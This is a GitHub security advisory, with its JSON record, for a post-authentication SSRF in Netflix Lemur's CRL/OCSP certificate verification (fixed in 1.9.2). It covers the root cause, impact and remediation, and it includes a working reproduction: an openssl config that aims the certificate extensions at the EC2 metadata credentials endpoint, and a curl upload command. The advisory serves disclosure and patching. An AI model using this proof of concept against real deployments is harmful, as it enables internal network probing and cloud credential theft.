GHSA-54VG-PFH7-JQ95
Vulnerability from github – Published: 2026-06-25 21:58 – Updated: 2026-06-25 21:58Summary
When verifying an uploaded certificate, lemur/certificates/verify.py extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by StrictRolePermission on POST /certificates/upload) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.
Root Cause
lemur/certificates/verify.py, crl_verify:
point = p.full_name[0].value # URL from CDP extension of uploaded cert
...
response = requests.get(point, timeout=(3.05, 6)) # no allow-list, no destination filter
lemur/certificates/verify.py, ocsp_verify:
command = ["openssl", "x509", "-noout", "-ocsp_uri", "-in", cert_path]
p1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)
url, _ = p1.communicate()
p2 = subprocess.Popen(
["openssl", "ocsp", "-issuer", issuer_chain_path, "-cert", cert_path,
"-url", url.strip()], # attacker-controlled URL
...
)
In both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via InvalidSchema, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.
Affected Endpoints
| Method | Path | Source |
|---|---|---|
| POST | /api/1/certificates/upload | verify_string → crl_verify / ocsp_verify |
The bug additionally surfaces anywhere verify_string is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.
Impact
An operator-role attacker can:
- Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.
- On EC2 instances without IMDSv2 enforcement, cause requests to
http://169.254.169.254/and influence downstream behavior of components that parse the response. - Pin attacker-controlled CRLs into the unbounded module-level
crl_cachedict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL. The operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.
Remediation
Filter the URL before it reaches the network sink. Either:
- Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g.,
LEMUR_TRUSTED_CRL_HOSTSandLEMUR_TRUSTED_OCSP_HOSTS) and reject anything outside the list, or - Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding.
For OCSP, route the parsed URL through the same wrapper before passing it as
-urltoopenssl ocsp.
Additionally, bound crl_cache (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.
Steps to Reproduce
- Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user
eve. - Generate a self-signed certificate whose extensions point at internal services: ``` cat > openssl.cnf <<EOF [req] distinguished_name = req_distinguished_name req_extensions = v3_ca prompt = no
[req_distinguished_name] CN = ssrf-poc.example
[v3_ca] crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/ authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/ EOF
openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \ -days 365 -nodes -config openssl.cnf -extensions v3_ca ```
-
On the Lemur host, start a packet capture filter for the target address before submitting the cert:
sudo tcpdump -nni any host 169.254.169.254 -
As
eve, upload the malicious certificate:BODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/\n/\\n/g') curl -X POST https://lemur.local/api/1/certificates/upload \ -H "Authorization: Bearer <eve_jwt>" \ -H "Content-Type: application/json" \ -d "{ \"name\": \"ssrf-poc\", \"body\": \"$BODY\", \"chain\": \"\", \"private_key\": \"\", \"owner\": \"eve@example.com\" }" -
Observe the outbound request to
169.254.169.254in the tcpdump output. The request originates from the Lemur process duringverify_stringprocessing of the uploaded cert. The attacker has successfully induced a server-side request to an internal address of their choosing.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.9.1"
},
"package": {
"ecosystem": "PyPI",
"name": "lemur"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55162"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T21:58:51Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n \nWhen verifying an uploaded certificate, `lemur/certificates/verify.py` extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate\u0027s extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by `StrictRolePermission` on `POST /certificates/upload`) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.\n \n## Root Cause\n \n`lemur/certificates/verify.py`, `crl_verify`:\n \n```python\npoint = p.full_name[0].value # URL from CDP extension of uploaded cert\n...\nresponse = requests.get(point, timeout=(3.05, 6)) # no allow-list, no destination filter\n```\n \n`lemur/certificates/verify.py`, `ocsp_verify`:\n \n```python\ncommand = [\"openssl\", \"x509\", \"-noout\", \"-ocsp_uri\", \"-in\", cert_path]\np1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)\nurl, _ = p1.communicate()\np2 = subprocess.Popen(\n [\"openssl\", \"ocsp\", \"-issuer\", issuer_chain_path, \"-cert\", cert_path,\n \"-url\", url.strip()], # attacker-controlled URL\n ...\n)\n```\n \nIn both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via `InvalidSchema`, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.\n \n## Affected Endpoints\n \n| Method | Path | Source |\n|---|---|---|\n| POST | /api/1/certificates/upload | `verify_string` \u2192 `crl_verify` / `ocsp_verify` |\n \nThe bug additionally surfaces anywhere `verify_string` is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.\n \n## Impact\n \nAn operator-role attacker can:\n \n- Probe the Lemur host\u0027s internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.\n- On EC2 instances without IMDSv2 enforcement, cause requests to `http://169.254.169.254/` and influence downstream behavior of components that parse the response.\n- Pin attacker-controlled CRLs into the unbounded module-level `crl_cache` dict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL.\nThe operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host\u0027s network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.\n \n## Remediation\n \nFilter the URL before it reaches the network sink. Either:\n \n1. Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g., `LEMUR_TRUSTED_CRL_HOSTS` and `LEMUR_TRUSTED_OCSP_HOSTS`) and reject anything outside the list, **or**\n2. Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding.\nFor OCSP, route the parsed URL through the same wrapper before passing it as `-url` to `openssl ocsp`.\n \nAdditionally, bound `crl_cache` (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.\n \n## Steps to Reproduce\n \n1. Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user `eve`.\n2. Generate a self-signed certificate whose extensions point at internal services:\n ```\n cat \u003e openssl.cnf \u003c\u003cEOF\n [req]\n distinguished_name = req_distinguished_name\n req_extensions = v3_ca\n prompt = no\n \n [req_distinguished_name]\n CN = ssrf-poc.example\n \n [v3_ca]\n crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/\n authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/\n EOF\n \n openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \\\n -days 365 -nodes -config openssl.cnf -extensions v3_ca\n ```\n \n3. On the Lemur host, start a packet capture filter for the target address before submitting the cert:\n ```\n sudo tcpdump -nni any host 169.254.169.254\n ```\n \n4. As `eve`, upload the malicious certificate:\n ```\n BODY=$(cat ssrf.crt | sed \u0027:a;N;$!ba;s/\\n/\\\\n/g\u0027)\n curl -X POST https://lemur.local/api/1/certificates/upload \\\n -H \"Authorization: Bearer \u003ceve_jwt\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\n \\\"name\\\": \\\"ssrf-poc\\\",\n \\\"body\\\": \\\"$BODY\\\",\n \\\"chain\\\": \\\"\\\",\n \\\"private_key\\\": \\\"\\\",\n \\\"owner\\\": \\\"eve@example.com\\\"\n }\"\n ```\n \n5. Observe the outbound request to `169.254.169.254` in the tcpdump output. The request originates from the Lemur process during `verify_string` processing of the uploaded cert. The attacker has successfully induced a server-side request to an internal address of their choosing.",
"id": "GHSA-54vg-pfh7-jq95",
"modified": "2026-06-25T21:58:51Z",
"published": "2026-06-25T21:58:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Netflix/lemur/security/advisories/GHSA-54vg-pfh7-jq95"
},
{
"type": "PACKAGE",
"url": "https://github.com/Netflix/lemur"
},
{
"type": "WEB",
"url": "https://github.com/Netflix/lemur/releases/tag/v1.9.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Lemur: Crafted CRL/OCSP URLs in uploaded certificates lead to post-authentication SSRF"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.